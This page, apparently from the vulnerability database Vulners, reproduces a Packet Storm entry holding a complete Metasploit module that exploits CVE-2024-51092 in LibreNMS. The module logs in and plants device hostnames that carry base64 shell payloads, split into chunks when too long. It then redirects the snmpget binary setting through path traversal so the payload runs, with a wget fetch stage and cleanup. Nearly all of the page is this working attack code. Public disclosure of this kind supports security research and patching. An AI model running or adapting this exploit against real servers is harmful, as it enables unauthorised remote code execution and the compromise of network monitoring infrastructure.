Lucene search
K

LibreNMS Authenticated Remote Code Execution

🗓️ 20 Jan 2025 00:00:00Reported by murrant, Takahiro YokoyamaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 225 Views

LibreNMS is vulnerable to authenticated remote code execution leading to potential exploits.

Related
Code
ReporterTitlePublishedViews
Family
0day.today
LibreNMS Authenticated Remote Code Execution Exploit
21 Jan 202500:00
zdt
ATTACKERKB
CVE-2024-51092
8 May 202600:00
attackerkb
Circl
CVE-2024-51092
14 Nov 202423:58
circl
CNNVD
LibreNMS 安全漏洞
22 Jan 202500:00
cnnvd
CVE
CVE-2024-51092
8 May 202600:00
cve
Cvelist
CVE-2024-51092
8 May 202600:00
cvelist
Github Security Blog
LibreNMS has an Authenticated OS Command Injection
15 Nov 202415:54
github
Metasploit
LibreNMS Authenticated RCE (CVE-2024-51092)
20 Jan 202518:54
metasploit
NVD
CVE-2024-51092
8 May 202606:16
nvd
OSV
GHSA-X645-6PF9-XWXW LibreNMS has an Authenticated OS Command Injection
15 Nov 202415:54
osv
Rows per page
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      prepend Msf::Exploit::Remote::AutoCheck
      include Msf::Exploit::Retry
      include Msf::Exploit::FileDropper
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'LibreNMS Authenticated RCE (CVE-2024-51092)',
            'Description' => %q{
              An authenticated attacker can create dangerous directory names on the system and
              alter sensitive configuration parameters through the web portal.
              Those two defects combined then allows to inject arbitrary OS commands inside shell_exec() calls,
              thus achieving arbitrary code execution.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'murrant (Tony Murray)', # PoC
              'Takahiro Yokoyama'      # Metasploit module
            ],
            'References' => [
              [ 'URL', 'https://github.com/advisories/GHSA-x645-6pf9-xwxw'],
              [ 'CVE', '2024-51092']
            ],
            'Platform' => %w[linux],
            'Targets' => [
              [
                'Linux Command', {
                  'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd,
                  'DefaultOptions' => {
                    'FETCH_COMMAND' => 'WGET'
                  }
                }
              ],
            ],
            'DefaultOptions' => {
              'FETCH_FILENAME' => Rex::Text.rand_text_alpha(1),
              'FETCH_URIPATH' => Rex::Text.rand_text_alpha(1)
            },
            'Payload' => {
              'SPACE' => 128
            },
            'DefaultTarget' => 0,
            'DisclosureDate' => '2024-11-15',
            'Notes' => {
              'Stability' => [ CRASH_SAFE, ],
              'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
              'Reliability' => [ REPEATABLE_SESSION, ]
            }
          )
        )
    
        register_options(
          [
            OptString.new('USERNAME', [ true, 'User name for LibreNMS', '' ]),
            OptString.new('PASSWORD', [ true, 'Password for LibreNMS', '' ]),
            OptString.new('PATH', [ true, 'LibreNMS installed location', '/opt/librenms' ]),
            OptInt.new('WAIT', [ true, 'Wait time (seconds) for cron to poll the device', 315 ]),
          ]
        )
      end
    
      def get_csrf_token(res)
        res&.get_html_document&.at('meta[name="csrf-token"]') ? res.get_html_document.at('meta[name="csrf-token"]')['content'] : nil
      end
    
      def check
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'login')
        })
        return Exploit::CheckCode::Unknown('LibreNMS is not detected.') unless res&.code == 200 && res&.body&.include?('<title>LibreNMS</title>')
    
        token = get_csrf_token(res)
        return Exploit::CheckCode::Unknown('LibreNMS detected. Failed to extract csrf token.') unless token
    
        begin
          login
        rescue StandardError => e
          return Exploit::CheckCode::Unknown(e)
        end
    
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'about')
        })
        return Exploit::CheckCode::Unknown('LibreNMS detected. Cannot find libreNMS version.') unless res&.code == 200
    
        html_body = res&.get_html_document
        version_node = html_body&.at("a[@href='https://www.librenms.org/changelog.html']")
        return Exploit::CheckCode::Unknown('LibreNMS detected. Cannot find libreNMS version.') if version_node.nil?
    
        version_node&.at('span')&.content = ''
        version = Rex::Version.new(version_node.text)
        return Exploit::CheckCode::Safe("LibreNMS version #{version} detected, which is not vulnerable.") unless version.between?(Rex::Version.new('24.9.0'), Rex::Version.new('24.9.1'))
    
        Exploit::CheckCode::Appears("LibreNMS version #{version} detected, which is vulnerable.")
      end
    
      def login
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'login'),
          'keep_cookies' => true
        })
        fail_with(Failure::Unknown, 'Failed to access the login page.') unless res&.code == 200
    
        login_res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'login'),
          'keep_cookies' => true,
          'vars_post' => {
            'username' => datastore['USERNAME'],
            'password' => datastore['PASSWORD'],
            '_token' => get_csrf_token(res)
          }
        })
        fail_with(Failure::NoAccess, 'Failed to log into LibreNMS.') unless login_res&.code == 302
    
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path)
        })
        fail_with(Failure::Unknown, 'Failed to log into LibreNMS.') unless res&.code == 200 && res.body.include?('Devices')
    
        @logged_in = true
        print_status('Successfully logged into LibreNMS.')
      end
    
      def exploit
        login unless @logged_in
        add_host
    
        print_status("Waiting up to #{datastore['WAIT']} seconds for cron to poll the device...")
        created = retry_until_truthy(timeout: datastore['WAIT']) do
          @hosts.all? { |h| change_snmpget(h) }
        end
    
        fail_with(Failure::Unknown, 'Failed to create malicious file. You may need more wait time, or the cron job might be disabled.') unless created
        register_file_for_cleanup(datastore['FETCH_FILENAME'])
        @hosts.each do |host|
          change_snmpget(host)
          send_request_cgi({
            'method' => 'GET',
            'uri' => normalize_uri(target_uri.path, 'about')
          })
        end
      end
    
      def add_host
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'addhost')
        })
        fail_with(Failure::Unknown, 'Failed to access addhost page.') unless res&.code == 200
    
        # The maximum host length is 128 characters.
        # because 128 - 20 = 108 where 20 is length of remaining characters in original payload
        if Rex::Text.encode_base64(payload.encoded).length <= 108
          @hosts = [";echo #{Rex::Text.encode_base64(payload.encoded)}|base64 -d|sh;"]
          print_status("Adding host: '#{@hosts[0]}', length: #{@hosts[0].length}")
        else
          @hosts = []
          staging_file = Rex::Text.rand_text_alpha(1, datastore['FETCH_FILENAME'])
          register_file_for_cleanup(staging_file)
          cmd = Rex::Text.encode_base64(payload.encoded)
          # ;echo -n chunked_cmd>>staging_file;
          # ;echo -n (space) = 9, >> = 2, ; = 1
          max_chunk_size = 128 - (9 + 2 + staging_file.length + 1)
          chunk_size = rand([1, max_chunk_size - 10].max..[1, max_chunk_size - 5].max)
          print_status("Command chunk size = #{chunk_size}")
          cmd_chunks = cmd.chars.each_slice(chunk_size).map(&:join)
          redirector = '>'
          cmd_chunks.each_with_index do |chunk, index|
            print_status("Staging chunk #{index + 1} of #{cmd_chunks.count}")
            @hosts << ";echo -n #{chunk}#{redirector}#{staging_file};"
            redirector = '>>'
          end
          @hosts << ";cat #{staging_file} | base64 -d |sh;"
        end
    
        @device_ids = []
        @hosts.each do |host|
          res = send_request_cgi({
            'method' => 'POST',
            'uri' => normalize_uri(target_uri.path, 'addhost'),
            'vars_post' => {
              '_token' => get_csrf_token(res),
              'hostname' => host,
              'snmp' => 'on',
              'sysName' => '',
              'hardware' => '',
              'os' => '',
              'os_id' => '',
              'snmpver' => 'v2c',
              'port' => '',
              'transport' => 'udp',
              'port_assoc_mode' => 'ifIndex',
              'community' => '',
              'authlevel' => 'noAuthNoPriv',
              'authname' => '',
              'authpass' => '',
              'authalgo' => 'SHA',
              'cryptopass' => '',
              'cryptoalgo' => 'AES',
              'force_add' => 'on',
              'Submit' => ''
            }
          })
          fail_with(Failure::Unknown, 'Failed to add device.') unless res&.code == 200 && res&.body&.include?('Device added')
          print_status('Added host.')
          link = res&.get_html_document&.at("div.alert.alert-success:contains('Device added') a")
          device_link = link['href'] if link
          device_id = device_link.match(%r{/device/(\d+)})[1] if device_link&.match(%r{/device/(\d+)})
          @device_ids << device_id if device_id
        end
      end
    
      def change_snmpget(host)
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'settings/external/binaries')
        })
        return unless res&.code == 200
    
        res = send_request_cgi({
          'method' => 'PUT',
          'headers' => {
            'X-CSRF-TOKEN' => get_csrf_token(res)
          },
          'uri' => normalize_uri(target_uri.path, 'settings/snmpget'),
          'ctype' => 'application/json',
          'data' => {
            'value' => "file://#{datastore['PATH']}/rrd/#{host}/../../../../../bin/ls"
          }.to_json
        })
        res&.code == 200
      end
    
      def cleanup
        super
    
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'settings/external/binaries')
        })
    
        if res&.code == 200
          res = send_request_cgi({
            'method' => 'DELETE',
            'headers' => {
              'X-CSRF-TOKEN' => get_csrf_token(res)
            },
            'uri' => normalize_uri(target_uri.path, 'settings/snmpget')
          })
        end
        print_status('Failed to reset snmpget to default.') unless res&.code == 200
        print_status('Reset snmpget to default.') if res&.code == 200
    
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'delhost')
        })
        token = get_csrf_token(res)
    
        if res&.code == 200 && @device_ids
          @device_ids.each do |device_id|
            res = send_request_cgi({
              'method' => 'POST',
              'uri' => normalize_uri(target_uri.path, 'delhost'),
              'vars_post' => {
                '_token' => token,
                'id' => device_id,
                'confirm' => '1'
              }
            })
            print_status("Failed to delete device: #{device_id}") unless res&.code == 200
            print_status("Deleted device: #{device_id}") if res&.code == 200
          end
        elsif @device_ids
          print_status("Failed to extract CSRF token. Failed to delete device: #{@device_ids.join(', ')}")
        end
      end
    
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 Jan 2025 00:00Current
8.5High risk
Vulners AI Score8.5
EPSS0.44112
225